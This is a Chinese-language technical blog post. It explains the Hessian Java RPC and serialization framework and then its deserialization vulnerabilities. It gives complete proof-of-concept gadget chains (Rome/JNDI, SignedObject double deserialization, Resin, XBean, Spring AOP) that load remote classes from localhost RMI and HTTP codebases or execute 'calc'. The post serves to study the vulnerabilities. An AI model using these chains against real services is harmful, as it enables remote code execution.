Hessian
Hessian是一个轻量级的remoting onhttp工具,是一个轻量级的Java序列化/反序列化框架,使用简单的方法提供了RMI的功能。 相比WebService,Hessian更简单、快捷。采用的是二进制RPC协议,因为采用的是二进制协议,所以它很适合于发送二进制数据。
RPC协议的一次远程通信过程如下
- 客户端发起请求,并按照RPC协议格式填充信息
- 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
- 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
- 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回
各种反序列化机制
在网络通信过程中,我们想传输的内容肯定不止局限于文本或二进制信息,假如我们想要传递给远端一个特定的对象,那么这时就需要用到序列化和反序列化这种技术了。
在Java中,序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反,能够从字节序列中恢复出一个对象。参考marshalsec.pdf,我们可以将序列化/反序列化机制分大体分为两类
基于Bean属性访问机制
- SnakeYAML
- jYAML
- YamlBeans
- Apache Flex BlazeDS
- Red5 IO AMF
- Jackson
- Castor
- Java XMLDecoder
- …
它们最基本的区别是如何在对象上设置属性值,它们有共同点,也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)和setter(xxx)访问对象属性,有的还需要调用默认Constructor,有的处理器(指的上面列出来的那些)在反序列化对象时,如果类对象的某些方法还满足自己设定的某些要求,也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时,例如某个对象的某个属性是Object、Interface、abstruct等类型,为了在反序列化时能完整恢复,需要写入具体的类型信息,这时候可以指定更多的类,在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。
这种机制的攻击面比基于Field机制的攻击面大,因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。
基于Field机制
基于Field机制的反序列化是通过特殊的native(方法或反射(最后也是使用了native方式)直接对Field进行赋值操作的机制,而不是通过getter、setter方式对属性赋值。
- Java Serialization
- Kryo
- Hessian
- json-io
- XStream
- …
依赖
<dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency>
|
基本使用
因为 Hessian 基于 HTTP 协议,所以通常通过 Web 应用来提供服务,以下为几种常见的模式
Servlet项目
通过把提供服务的类注册成 Servlet 的方式来作为 Server 端进行交互。
实现的接口
package com.yyjccc.hessianserlet.hessian;
import java.util.HashMap;
public interface Greeting { String sayHello(HashMap o); }
|
编写Servlet继承HessianServlet
package com.yyjccc.hessianserlet.hessian;
import com.caucho.hessian.server.HessianServlet;
import javax.servlet.annotation.WebServlet; import java.util.HashMap; @WebServlet(name = "MyHessianServlet",urlPatterns = "/hessian") public class MyHessianServlet extends HessianServlet implements Greeting { @Override public String sayHello(HashMap o) { System.out.println("hello world"); return "hello "+o.toString(); }
}
|
配置好web.xml
除了将具体实现类继承自 HessianServlet 之外,还可以不继承,完全通过配置文件进行设置,将待调用的接口和类作为 HessianServlet 的初始化参数进行配置:
web.xml 配置如下:
<servlet> <servlet-name>hessian</servlet-name> <servlet-class>com.caucho.hessian.server.HessianServlet</servlet-class> <init-param> <param-name>home-class</param-name> <param-value>com.yyjccc.hessianserlet.hessian.MyHessianServlet</param-value> </init-param> <init-param> <param-name>hone-api</param-name> <param-value>com.yyjccc.hessianserlet.hessian.Greeting</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>hessian</servlet-name> <url-pattern>/hessian</url-pattern> </servlet-mapping>
|
编写客户端远程调用,Client 端通过 com.caucho.hessian.client.HessianProxyFactory 工厂类创建对接口的代理对象,并进行调用,可以看到调用后执行了服务端的逻辑并返回了代码。
package com.yyjccc.hessianserlet.hessian;
import com.caucho.hessian.client.HessianProxyFactory;
import java.net.MalformedURLException; import java.util.HashMap;
public class Client { public static void main(String[] args) throws MalformedURLException { String url="http://localhost:7878/hessian"; HessianProxyFactory factory=new HessianProxyFactory(); Greeting greeting= (Greeting) factory.create(Greeting.class,url); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("a","a"); System.out.println("Hessian Call: "+greeting.sayHello(hashMap)); } }
|
运行结果:
Spring项目
Spring-web 包内提供了 org.springframework.remoting.caucho.HessianServiceExporter 用来暴露远程调用的接口和实现类。使用该类 export 的 Hessian Service 可以被任何 Hessian Client 访问,因为 Spring 中间没有进行任何特殊处理。
从 spring-web-5.3 后,该类被标记为 @Deprecated , 也就是说 spring 在逐渐淘汰对基于序列化的远程调用的相关支持。
将服务实现类注入到spring中,
然后编写配置类
package com.yyjcccc.hessianser.spring;
import com.yyjcccc.hessianser.servlet.Greeting; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.remoting.caucho.HessianServiceExporter;
@Configuration public class HessianConfigure { @Autowired private Greeting greeting;
@Bean(name = "/hessian") public HessianServiceExporter config(){ HessianServiceExporter serviceExporter = new HessianServiceExporter(); serviceExporter.setService(greeting); serviceExporter.setServiceInterface(Greeting.class); return serviceExporter; } }
|
Hessian反序列化
使用
看看Hessian反序列化的效果
Person实体类
package com.yyjcccc.hessianser.usage;
import java.io.Serializable;
public class Person implements Serializable { public String name; public int age;
public int getAge() { return age; }
public String getName() { return name; }
public void setAge(int age) { this.age = age; }
public void setName(String name) { this.name = name; } }
|
反序列化测试
package com.yyjcccc.hessianser.usage;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.Serializable;
public class Hessian_Test implements Serializable {
public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); }
public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
public static void main(String[] args) throws IOException { Person person = new Person(); person.setAge(18); person.setName("Feng");
byte[] s = serialize(person); System.out.println((Person) deserialize(s)); }
}
|
运行看看效果
对比一下原生反序列化
import java.io.*; public class Ser_Test implements Serializable { public static <T> byte[] serialize(T t) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(t); System.out.println(bao.toString()); return bao.toByteArray(); } public static <T> T deserialize(byte[] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); ObjectInputStream ois =new ObjectInputStream(bai); return (T) ois.readObject(); } public static void main(String[] args) throws IOException, ClassNotFoundException { Person person = new Person(); person.setAge(18); person.setName("Feng"); byte[] s=serialize(person); System.out.println((Person) deserialize(s)); } }
|
### 源码分析
在 Servlet 中采用继承或配置的时候,都是 com.caucho.hessian.server.HessianServlet 类在起作用,这个类是一个 javax.servlet.http.HttpServlet 的子类。这说明这个类的 init 方法将会承担一些初始化的功能,而 service 方法将会是相关处理的起始位置。
接下来重点关注这两个方法。首先是 init 方法,这个方法总体来讲就是用来初始化 HessianServlet 的成员变量,包括 _homeAPI(调用类的接口 Class)、_homeImpl(具体实现类的对象)、_serializerFactory(序列化工厂类)、_homeSkeleton(封装方法)等等。
接下来看下 service 方法,
invoke 方法根据 objectID 是否为空决定调用哪个。
接下来就进入 com.caucho.hessian.server.HessianSkeleton 的调用流程,先来简单了解一下这个类。HessianSkeleton 是 AbstractSkeleton 的子类,用来对 Hessian 提供的服务进行封装。
首先 AbstractSkeleton 初始化时接收调用接口的类型,并按照自己的逻辑把接口中的方法保存在 _methodMap 中,包括“方法名”、“方法名__方法参数个数”、“方法名_参数类型_参数2类型”等自定义格式。
HessianSkeleton 初始化时将实现类保存在成员变量 _service 中。
HessianSkeleton 中还有两个成员变量,HessianFactory 用来创建 HessianInput/HessianOutput 流,HessianInputFactory 用来读取和创建 HessianInput/Hessian2Input 流,用到的时候会细说。
简单了解了之后,来看下调用中的关键方法 HessianSkeleton#invoke ,首先是输入输出流的创建。
然后主要是调用方法的查找和参数的反序列化,反序列化后进行反射调用,并写回结果。
接下来说下 **Spring**。
在 Spring 中的关键类是 org.springframework.remoting.caucho.HessianExporter,关键方法是 doInvoke 方法,其实逻辑与 Servlet 类似,就不多重复了。
可以看到这里也是额外处理了一下类加载器的问题。
### 远程调用
在远程调用时,我们的代码如下:
String url = "http://localhost:8080/hessian"; HessianProxyFactory factory = new HessianProxyFactory(); Greeting greeting = (Greeting) factory.create(Greeting.class, url); HashMap map = new HashMap<String,String>(); map.put("a","d"); System.out.println("Hello: " + greeting.sayHello(map));
|
可以看到,这里创建了 HessianProxyFactory 实例,并调用其 create 方法,这里实际上是使用了 Hessian 提供的 HessianProxy 来为待调用的接口和 HessianRemoteObject 创建动态代理类。
我们知道动态代理对象无论调用什么方法都会走 InvocationHandler 的 invoke 方法。
发送请求获取结果并反序列化,这里使用了 HessianURLConnection 来建立连接。
非常简单的逻辑,就是发出了一个 HTTP 请求并反序列化数据而已。
建立连接发送post请求,设置版本信息加上调用方法名
序列化与反序列化流程
Hessian 的序列化反序列化流程有几个关键类,一般包括输入输出流、序列化/反序列化器、相关工厂类等等,依次来看一下。
首先是输入和输出流,Hessian 定义了 AbstractHessianInput/AbstractHessianOutput 两个抽象类,用来提供序列化数据的读取和写入功能。Hessian/Hessian2/Burlap 都有这两个类各自的实现类来实现具体的逻辑。
先来看序列化,对于输出流关键类为 AbstractHessianOutput 的相关子类,这些类都提供了 call 等相关方法执行方法调用,writeXX 方法进行序列化数据的写入,这里以 Hessian2Output 为例。
除了基础数据类型,主要关注的是对 Object 类型数据的写入方法 writeObject:
这个方法根据指定的类型获取序列化器 Serializer 的实现类,并调用其 writeObject 方法序列化数据。在当前版本中,可看到一共有 29 个子类针对各种类型的数据。对于自定义类型,将会使用 JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer 进行相关的序列化动作,默认情况下是 UnsafeSerializer。
UnsafeSerializer#writeObject 方法兼容了 Hessian/Hessian2 两种协议的数据结构,会调用 writeObjectBegin 方法开始写入数据,
writeObjectBegin 这个方法是 AbstractHessianOutput 的方法,Hessian2Output 重写了这个方法,而其他实现类没有。也就是说在 Hessian 1.0 和 Burlap 中,写入自定义数据类型(Object)时,都会调用 writeMapBegin 方法将其标记为 Map 类型。
在 Hessian 2.0 中,将会调用 writeDefinition20 和 Hessian2Output#writeObjectBegin 方法写入自定义数据,就不再将其标记为 Map 类型。
再看反序列化,对于输入流关键类为 AbstractHessianInput 的子类,这些类中的 readObject 方法定义了反序列化的关键逻辑。基本都是长达 200 行以上的 switch case 语句。在读取标识位后根据不同的数据类型调用相关的处理逻辑。这里还是以 Hessian2Input 为例。
与序列化过程设计类似,Hessian 定义了 Deserializer 接口,并为不同的类型创建了不同的实现类。这里重点看下对自定义类型对象的读取。
在 Hessian 1.0 的 HessianInput 中,没有针对 Object 的读取,而是都将其作为 Map 读取,在序列化的过程中我们也提到,在写入自定义类型时会将其标记为 Map 类型。
MapDeserializer#readMap 方法提供了针对 Map 类型数据的处理逻辑。
在 Hessian 2.0 中,则是提供了 UnsafeDeserializer 来对自定义类型数据进行反序列化,关键方法在 readObject 处。
instantiate 使用 unsafe 实例的 allocateInstance 直接创建类实例。
一些细节
协议版本
在之前已经介绍过了,Hessian 传输协议已经由 1.0 版本迭代到了 2.0 版本。但是目前的 Hessian 包是两种协议都支持的,并且服务器使用哪种协议读取序列化数据,和返回哪种协议格式的序列化数据,将完全由请求中的标志位来进行定义。
在我们测试使用的最新版中,这一设定位于 HessianProxyFactory 中的两个布尔型变量中,即 _isHessian2Reply 和 _isHessian2Request,如下图,默认情况下,客户端使用 Hessian 1.0 协议格式发送序列化数据,服务端使用 Hessian 2.0 协议格式返回序列化数据。
如果想自己指定用 Hessian 2.0 协议进行传输,可以使用如下代码进行设置:
HessianProxyFactory factory = new HessianProxyFactory(); factory.setHessian2Request(true);
|
Serializable
在 Java 原生反序列化中,实现了 java.io.Serializable 接口的类才可以反序列化。Hessian 象征性的支持了这种规范,具体的逻辑如下图,在获取默认序列化器时,判断了类是否实现了 Serializable 接口。
但同时 Hessian 还提供了一个 _isAllowNonSerializable 变量用来打破这种规范,可以使用 SerializerFactory#setAllowNonSerializable 方法将其设置为 true,从而使未实现 Serializable 接口的类也可以序列化和反序列化。
这就很魔幻了,判断是在序列化的过程中进行的,而非反序列化过程,那自然可以绕过了,换句话说,Hessian 实际支持反序列化任意类,无需实现 Serializable 接口。
这里在提一下 serialVersionUID 的问题,在 Java 原生反序列化中,在未指定 serialVersionUID 的情况下如果修改过类中的方法和属性,将会导致反序列化过程中生成的 serialVersionUID 不一致导致的异常,但是 Hessian 并不关注这个字段,所以即使修改也无所谓。
然后是 transient 和 static 的问题,在序列化时,由 UnsafeSerializer#introspect 方法来获取对象中的字段,在老版本中应该是 getFieldMap 方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。
在原生流程中,标识为 transient 仅代表不希望 Java 序列化反序列化这个对象,开发人员可以在 writeObject/readObject 中使用自己的逻辑写入和恢复对象,但是 Hessian 中没有这种机制,因此标识为 transient 的字段在反序列化中一定没有值的。
Object Naming
之前在看代码时看到过,Hessian 在调用时还支持使用 id 和 ejbid 参数,可以导致调用不同的实体 Beans。
这种情况当 Hessian 支持的调用服务是一些面向对象的服务比如 naming services/entity beans/session beans 或 EJB 容器时可以使用。
本质上的调用流程都是一样的,只是提供服务的对象有所不同。
相关内容可以查看官方连接:http://hessian.caucho.com/...#ObjectNamingnon-normative
Hessian反序列化漏洞
Hessian反序列化漏洞的关键出在HessianInput#readObject,由于Hessian会将序列化的结果处理成一个Map,所以序列化结果的第一个byte总为M(ASCII为77)。下面我们跟进readObject()
继续跟进到ObjectInputStream#readMap。然后Object或者其他类型就是默认使用MapDeserializer
跟进MapDeserializer#readMap
put会调用hashCode方法
可以看到, Hessian 协议使用 unsafe 创建类实例,使用反射写入值,并且没有在重写了某些方法后对其进行调用这样的逻辑。
所以无论是构造方法、getter/setter 方法、readObject 等等方法都不会在 Hessian 反序列化中被触发,那怎么会产生漏洞呢?
答案就在 Hessian 对 Map 类型数据的处理上,在之前的分析中提到,MapDeserializer#readMap 对 Map 类型数据进行反序列化操作是会创建相应的 Map 对象,并将 Key 和 Value 分别反序列化后使用 put 方法写入数据。在没有指定 Map 的具体实现类时,将会默认使用 HashMap ,对于 SortedMap,将会使用 TreeMap。
而众所周知, HashMap 在 put 键值对时,将会对 key 的 hashcode 进行校验查看是否有重复的 key 出现,这就将会调用 key 的 hasCode 方法,如下图。
而 TreeMap 在 put 时,由于要进行排序,所以要对 key 进行比较操作,将会调用 compare 方法,会调用 key 的 compareTo 方法。
也就是说 Hessian 相对比原生反序列化的利用链,有几个限制:
- kick-off chain 起始方法只能为 hashCode/equals/compareTo 方法;
- 利用链中调用的成员变量不能为 transient 修饰;
- 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。
这几个限制也导致了很多 Java 原生反序列化利用链在 Hessian 中无法使用,甚至 ysoserial 中一些明明是 hashCode/equals/compareTo 触发的链子都不能直接拿来用。
目前常见的 Hessian 利用链在 marshalsec 中共有如下五个:
- Rome
- XBean
- Resin
- SpringPartiallyComparableAdvisorHolder
- SpringAbstractBeanFactoryPointcutAdvisor
Rome链
jndi
Rome 的链核心是 ToStringBean,这个类的 toString 方法会调用他封装类的全部无参 getter 方法,所以可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。
这也是Rome链的一种利用方式可以参考:https://www.yuque.com/yyjccc/pk74ko/frdd2euxldnyzm5h
之前打的是TemplateImpl字节码加载,这里照样可以打JdbcRowSetImpl的jdni
poc
public static Object JNDI() throws SQLException { String jndi="rmi://127.0.0.1:8085/WhVCFlBv"; JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName(jndi); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"123"); return hashMap; }
|
二次反序列化
上面 Gadget 因为是 JNDI 需要出网,所以通常被认为限制很高,因此还需要找无需出网的利用方式。其中一个常见的方式是使用 java.security.SignedObject 进行二次反序列化。
Hessian反序列化触发到SignedObject的getObject方法,在这里再触发原生反序列化,这里反序列化可以再封装一次Rome链
public static Object TowUnSerialize() throws Exception { byte[] code = CodeFactory.RuntimeExec("calc"); byte[][] codes={code}; TemplatesImpl templates=new TemplatesImpl(); setValue(templates,"_tfactory",new TransformerFactoryImpl()); setValue(templates,"_name","Yyjccc"); setValue(templates,"_bytecodes",codes); setValue(templates,"_transletIndex",0); ToStringBean toStringBean=new ToStringBean(Templates.class,templates); EqualsBean equalsBean=new EqualsBean(String.class,"aaa"); HashMap hashMap=new HashMap(); hashMap.put(equalsBean,"aaa"); setValue(equalsBean,"_beanClass",ToStringBean.class); setValue(equalsBean,"_obj",toStringBean);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA")); ToStringBean toStringBean_sign=new ToStringBean(SignedObject.class,signedObject); EqualsBean equalsBean_sign=new EqualsBean(String.class,"yyjccc"); HashMap hashMap_sign=new HashMap(); hashMap_sign.put(equalsBean_sign,"aaa"); setValue(equalsBean_sign,"_beanClass",ToStringBean.class); setValue(equalsBean_sign,"_obj",toStringBean_sign); return hashMap_sign; }
public static void main(String[] args) throws Exception { byte[] serialize = HessianSerize.serialize(TowUnSerialize()); Object deserialize = HessianSerize.deserialize(serialize); System.out.println(); }
|
Resin
Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的,旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器,它和hessian在一个group里,所以有一定的联系
依赖
<dependency> <groupId>com.caucho</groupId> <artifactId>resin</artifactId> <version>4.0.64</version> </dependency>
|
Resin 这条利用链的入口点实际上是 HashMap 对比两个对象时触发的 com.sun.org.apache.xpath.internal.objects.XString 的 equals 方法。
使用 XString 的 equals 方法触发 com.caucho.naming.QName 的 toSting 方法。
调用栈
NamingManager.getObjectFactoryFromReference() (javax.naming.spi) NamingManager.getObjectInstance() (javax.naming.spi) NamingManager.getContext() (javax.naming.spi) ContinuationContext.getTargetContext() (javax.naming.spi) ContinuationContext.composeName() (javax.naming.spi) // 关键点 QName.toString() (com.caucho.naming) // 关键点 XString.equals() (com.sun.org.apache.xpath.internal.objects) HashMap.putVal() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
|
QName 实际上是 Resin 对上下文 Context 的一种封装,它的 toString 方法会调用其封装类的 composeName 方法获取复合上下文的名称。
这条利用链使用了 javax.naming.spi.ContinuationContext 类,其 composeName 方法调用 getTargetContext 方法,然后调用 NamingManager#getContext 方法传入其成员变量 CannotProceedException 的相关属性。
漏洞触发点在 NamingManager#getObjectInstance 方法,这个方法调用 VersionHelper 加载类并实例化。
加载时使用了 URLClassLoader 并指定了类名和 codebase。
这个逻辑就赋予了程序远程加载类的功能,也就是漏洞的最终利用点。
回过头看看Reference对象是哪来的
属性cpe
进入了CannotProceedException的父类
因此控制cpe 的属性resolveObj为Reference对象,可以进行远程类加载
equal方法触发
还有一个问题,如何确保hashmap#put的时候会触发equals方法
但是根据HashMap中putVal方法的了解,要想到达equals方法的调用处,需要满足前面的几个if条件:
- (p = tab[i = (n - 1) & hash]) == null
- p.hash == hash
其实这两个条件表达的意思一致,就是put进去的两个元素的hashcode要一致,这样才有资格到达equals方法处,第一个元素QName对象是需要利用的对象,固定不动,而XString是为了触发equals方法而构造的对象,对链的后半部分无影响,因此可以根据QName的hash来构造XString对象
- 目标hash:QName中有hashCode方法,直接调用即可得到目标hash
- 如何构造能够影响XString的hash
查看其hashCode方法
即将m_obj属性转换成字符串类型返回,最后调用String的hashCode方法进行hash计算,这里的m_obj即是实例化XString传入的参数
现在的关键点在于根据String类的hashCode逻辑,得到该方法的逆操作,即根据hash值得到对应的string,然后将其作为m_obj
看看String 的HashCode
在逆向的时候需要考虑int类型溢出的问题
这里暂时不研究怎么逆向算等值HashCode的字符串
当然另外一种方法就是有SpringAOP依赖,使用HotSwappableTargetSource包装一下,就不用逆向算hashCode了
直接copy网上代码:
public static String unhash ( int hash ) { int target = hash; StringBuilder answer = new StringBuilder(); if ( target < 0 ) { answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE ) return answer.toString(); target = target & Integer.MAX_VALUE; }
unhash0(answer, target); return answer.toString(); } private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31; int rem = target % 31;
if ( div <= Character.MAX_VALUE ) { if ( div != 0 ) partial.append((char) div); partial.append((char) rem); } else { unhash0(partial, div); partial.append((char) rem); } }
|
注意:放入的字符串最好不要看起来对称(看似无规律)
poc
public static Object payload() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException { String codebase="http://127.0.0.1:8085/"; String clazzName="HVzHJCkI"; Reference ref = new Reference(clazzName,clazzName,codebase);
CannotProceedException cpe = new CannotProceedException(); Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); declaredConstructor.setAccessible(true); Context context = (Context) declaredConstructor.newInstance(cpe, new Hashtable<>()); QName qName = new QName(context,"abc","edf"); XString x1 =new XString(unhash(qName.hashCode())); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(qName,"aaa"); hashMap.put(x1,"bbb"); Reflect.setValue(NamingException.class,cpe,"resolvedObj",ref); return hashMap; }
public static String unhash ( int hash ) { int target = hash; StringBuilder answer = new StringBuilder(); if ( target < 0 ) { answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE ) return answer.toString(); target = target & Integer.MAX_VALUE; }
unhash0(answer, target); return answer.toString(); } private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31; int rem = target % 31;
if ( div <= Character.MAX_VALUE ) { if ( div != 0 ) partial.append((char) div); partial.append((char) rem); } else { unhash0(partial, div); partial.append((char) rem); } }
public static void main(String[] args) throws Exception { byte[] serialize = HessianSerize.serialize2(payload()); HessianSerize.deserialize(serialize); }
|
XBean
XBean是Apache Geronimo的子项目,设计这个的目的是为了能为Geronimo的插件提供一种方便
快捷的配置方式(具体怎么方便快捷,看完全文便知)。后来,Xbean被更多的开源项目引用。例如:jetty、Activemq等等,同时xbean也提供了对spring的支持
依赖
<dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-naming</artifactId> <version>4.24</version> </dependency>
|
调用栈
NamingManager.getObjectFactoryFromReference() (javax.naming.spi) NamingManager.getObjectInstance() (javax.naming.spi) ContextUtil.resolve() (org.apache.xbean.naming.context)// 关键点 ContextUtil$ReadOnlyBinding.getObject() (org.apache.xbean.naming.context)// 关键点 Binding.toString() (com.caucho.naming) // 关键点 XString.equals() (com.sun.org.apache.xpath.internal.objects) HotSwappableTargetSource.equals() HashMap.putVal() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
|
XBean 这条链几乎是与 Resin 一模一样,只不过是在 XBean 中找到了类似功能的实现。
首先还是用 XString 触发 ContextUtil.ReadOnlyBinding 的 toString 方法(实际继承 javax.naming.Binding),toString 方法调用 getObject 方法获取对象。
调用 ContextUtil#resolve 方法。
方法调用 NamingManager#getObjectInstance 方法,后续触发逻辑一致,从远程加载恶意类字节码。
这里触发equals用HotSwappableTargetSource包装一下,也可以用上面的unhash方法
poc
public static Object payload() throws NoSuchFieldException, IllegalAccessException, NamingException { String addr="http://127.0.0.1:8085/"; String className="HVzHJCkI"; Reference ref = new Reference(className, className, addr); ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding("yyjccc","aaa", new WritableContext()); XString x1=new XString("abc"); HotSwappableTargetSource h1 = new HotSwappableTargetSource(readOnlyBinding); HotSwappableTargetSource h2=new HotSwappableTargetSource(x1); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(h1,"yyj"); hashMap.put(h2,"ccc"); Reflect.setValue(readOnlyBinding,"value",ref); return hashMap; }
public static void main(String[] args) throws Exception { byte[] serialize = HessianSerize.serialize2(payload()); HessianSerize.deserialize(serialize); }
|
Spring AOP
这条利用链也很简单,还是利用 HashMap 中put方法,若hashmap不为空,就会对比触发 equals 方法。
核心是 AbstractPointcutAdvisor 和其子类 AbstractBeanFactoryPointcutAdvisor。
使用两个子类,都可以
触发点在 AbstractPointcutAdvisor 的 equals 方法,对比两个 AbstractPointcutAdvisor 是否相同,就是在对比其 Pointcut 切点和 Advice 是否为同一个。
其子类 AbstractBeanFactoryPointcutAdvisor 是和 BeanFactory 有关的 PointcutAdvisor,简单来说就是进行切片时可以使用 beanFactory 里面注册的实例。其 getAdvice 方法会调用其成员变量 beanFactory 的 getBean 方法获取 Bean 实例。
这时只要结合 SimpleJndiBeanFactory 就可以触发 JNDI 查询。
进入JndiTemplate#lookup中
这里说明能够成功的进行jndi注入
在自己写这条链的时候,也是在不断的报错,因为发现它里面利用的很多类都没有继承Serializable接口,导致无法序列化和反序列化,并且似乎并没有找到绕过去的方式,包括SimpleJndiBeanFactory,后来才知道Hessian可以不需要继承序列化和反序列化的。
public static String serialize2(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream); SerializerFactory serializerFactory=new SerializerFactory(); serializerFactory.setAllowNonSerializable(true); hessianOutput.setSerializerFactory(serializerFactory); hessianOutput.writeObject(object); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
|
poc
public static Object SpringAop() throws NoSuchFieldException, IllegalAccessException { String jndi="rmi://127.0.0.1:8085/WhVCFlBv"; SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory(); simpleJndiBeanFactory.setShareableResources(jndi); DefaultBeanFactoryPointcutAdvisor defaultAdvisor = new DefaultBeanFactoryPointcutAdvisor(); defaultAdvisor.setAdviceBeanName(jndi); HashMap<Object, Object> hashMap = new HashMap<>(); Reflect.setValue(AbstractBeanFactoryPointcutAdvisor.class,defaultAdvisor,"beanFactory",new SimpleJndiBeanFactory()); hashMap.put(new DefaultBeanFactoryPointcutAdvisor(),defaultAdvisor); hashMap.put(defaultAdvisor,defaultAdvisor); Reflect.setValue(AbstractBeanFactoryPointcutAdvisor.class,defaultAdvisor,"beanFactory",simpleJndiBeanFactory); return hashMap; } public static void main(String[] args) throws Exception { byte[] serialize = HessianSerize.serialize2(SpringAop()); Object deserialize = HessianSerize.deserialize(serialize); }
|
Spring Context & AOP
这条链的触发点在于 AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder 的 toString 方法,会打印 order 属性,调用 advisor 的 getOrder 方法。
这个感觉就是上条链子差不多的思路
这里需要String方法,参考https://www.yuque.com/yyjccc/pk74ko/frdd2euxldnyzm5h
中的Xstring;XString的equal方法就会触发toString方法
此时就需要找到类同时实现了 Advisor 和 Ordered 接口,于是找到了 AspectJPointcutAdvisor ,这个类的 getOrder 方法调用 AbstractAspectJAdvice 的 getOrder 方法。
又调用了 AspectInstanceFactory 的 getOrder 方法。
继续找 AspectInstanceFactory 的子类看有没有可以触发的点,找到了 BeanFactoryAspectInstanceFactory,其 getOrder 方法调用 beanFactory 的 getType 方法。
于是又掏出 SimpleJndiBeanFactory ,
他的的 doGetType 方法调用 doGetSingleton 方法执行 JNDI 查询,组成了完整的利用链。
在 marshalsec 封装对象时,使用了 HotSwappableTargetSource 封装类,其 equals 方法会调用其 target 的 equals 方法。
其实并无必要,感觉是纯炫技写法。
**poc**
public static Object AOPContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InstantiationException { String jndiUrl = "rmi://127.0.0.1:8085/WhVCFlBv"; SimpleJndiBeanFactory simpleJndiBeanFactory=new SimpleJndiBeanFactory(); simpleJndiBeanFactory.setShareableResources(jndiUrl); AspectInstanceFactory beanFactoryAspectInstanceFactory=new BeanFactoryAspectInstanceFactory(simpleJndiBeanFactory,jndiUrl); AbstractAspectJAdvice advice = (AspectJAfterAdvice.class).newInstance(); Reflect.setValue(org.springframework.aop.aspectj.AbstractAspectJAdvice.class,advice,"aspectInstanceFactory",beanFactoryAspectInstanceFactory); AspectJPointcutAdvisor aspectJPointcutAdvisor=(AspectJPointcutAdvisor.class).newInstance(); Reflect.setValue(aspectJPointcutAdvisor,"advice",advice); Object Partially=Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder").newInstance(); Reflect.setValue(Partially,"advisor",aspectJPointcutAdvisor); HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(new XString("1")); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("a")); HashMap hashMap = new HashMap(); hashMap.put(hotSwappableTargetSource, "1"); hashMap.put(hotSwappableTargetSource1, "2"); Reflect.setValue(hotSwappableTargetSource,"target",Partially); return hashMap; }
public static void main(String[] args) throws Exception { byte[] serialize = HessianSerize.serialize2(AOPContext()); Object deserialize = HessianSerize.deserialize(serialize); }
|
### Groovy
参考:[Groovy](https://www.yuque.com/yyjccc/pk74ko/yl25n3uhcmu83smp?view=doc_embed)
